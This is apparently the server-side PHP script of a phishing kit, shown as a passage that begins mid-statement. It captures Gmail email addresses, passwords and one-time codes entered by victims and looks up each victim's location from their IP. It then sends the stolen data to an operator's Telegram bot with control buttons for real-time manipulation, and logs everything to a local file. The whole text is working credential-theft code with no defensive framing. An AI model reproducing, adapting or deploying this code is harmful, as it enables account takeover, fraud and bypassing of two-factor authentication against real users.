country; $city = $ipdat->city; $org = $ipdat->org; $timezone = $ipdat->timezone; function buildCallbackData($response, $uid) { return $response . '|' . $uid; } function buildActionButtons($uid) { return [ [ ["text" => "❌ Invalid Password", "callback_data" => buildCallbackData('invalidpass', $uid)], ["text" => "❌ Invalid OTP", "callback_data" => buildCallbackData('invalidotp', $uid)], ], [ ["text" => "📧 Email", "callback_data" => buildCallbackData('email', $uid)], ["text" => "📱 OTP", "callback_data" => buildCallbackData('sms', $uid)], ["text" => "✅ Done", "callback_data" => buildCallbackData('done', $uid)], ], [ ["text" => "🚫 Block Visitor", "callback_data" => buildCallbackData('blockvisitor', $uid)], ], ]; } function htmlEscape($text) { return htmlspecialchars((string)$text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } function copyable($text) { return '' . htmlEscape($text) . ''; } function buildNumberButtons($uid, $max = 100, $perRow = 4) { $buttons = []; $row = []; for ($i = 1; $i <= $max; $i++) { $row[] = [ "text" => (string)$i, "callback_data" => buildCallbackData('tap:' . $i, $uid), ]; if (count($row) === $perRow) { $buttons[] = $row; $row = []; } } if (!empty($row)) { $buttons[] = $row; } return $buttons; } function sendTelegramMessage($token, $chatid, $text, $inlineKeyboard = null) { $payload = [ 'chat_id' => $chatid, 'text' => $text, 'parse_mode' => 'HTML', ]; if ($inlineKeyboard !== null) { $payload['reply_markup'] = json_encode(['inline_keyboard' => $inlineKeyboard]); } $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($payload), ], ]; $context = stream_context_create($options); return file_get_contents("https://api.telegram.org/bot".$token."/sendMessage", false, $context); } if(isset($_POST["em"])){ $userId = $_POST['em']; $pass = $_POST['pa']; if($userId != null && $pass != null){ $message = ""; $message .= "🔐GMAIL EMAIL INPUT 🔐 "."\n"; $message .= "---------------------------"."\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "Enail: " . copyable($userId) . "\n"; $message .= "Password: " . copyable($pass) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message); $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); } } else if(isset($_POST["em2"])){ $userId = $_POST['em2']; $pass = $_POST['pa2']; $baseUrl = $_POST['baseUrl']; $uid = generateUid(); storeUid($uid); storeUidIp($uid, $ip); if($userId != null && $pass != null){ $message = ""; $message .= "🔐GMAIL EMAIL INPUT 🔐 "."\n"; $message .= "---------------------------"."\n"; $message .= "🆔 UID: " . copyable($uid) . "\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "User ID: " . copyable($userId) . "\n"; $message .= "Pass: " . copyable($pass) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid)); sendTelegramMessage($token, $chatid, "🔢 Select number:", buildNumberButtons($uid)); if (!empty($token) && isPollingMode()) { pollUpdates($token, $chatid); } $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); echo json_encode(["success" => "sent cc", "uid" => $uid]); } } else if(isset($_POST["code"])){ $code = $_POST['code']; $baseUrl = $_POST['baseUrl']; $uid = generateUid(); storeUid($uid); storeUidIp($uid, $ip); if($code != null){ $message = ""; $message .= "🔐GMAIL CODE INPUT 🔐 "."\n"; $message .= "---------------------------"."\n"; $message .= "🆔 UID: " . copyable($uid) . "\n"; $message .= "🟢 IP : " . copyable($ip) . "\n"; $message .= "Code: " . copyable($code) . "\n"; $message .= "\n------------ Location ---------------\n"; $message .= "Country Name: " . htmlEscape($countryName) . "\n"; $message .= "City: " . htmlEscape($city) . "\n"; $message .= "ISP: " . htmlEscape($org) . "\n"; $message .= "Timezone: " . htmlEscape($timezone) . "\n"; sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid)); sendTelegramMessage($token, $chatid, "🔢 Select number:", buildNumberButtons($uid)); if (!empty($token) && isPollingMode()) { pollUpdates($token, $chatid); } $handle = fopen("save.txt", "a"); fwrite($handle, strip_tags($message)); fclose($handle); echo json_encode(["success" => "sent cc", "uid" => $uid]); } } ?>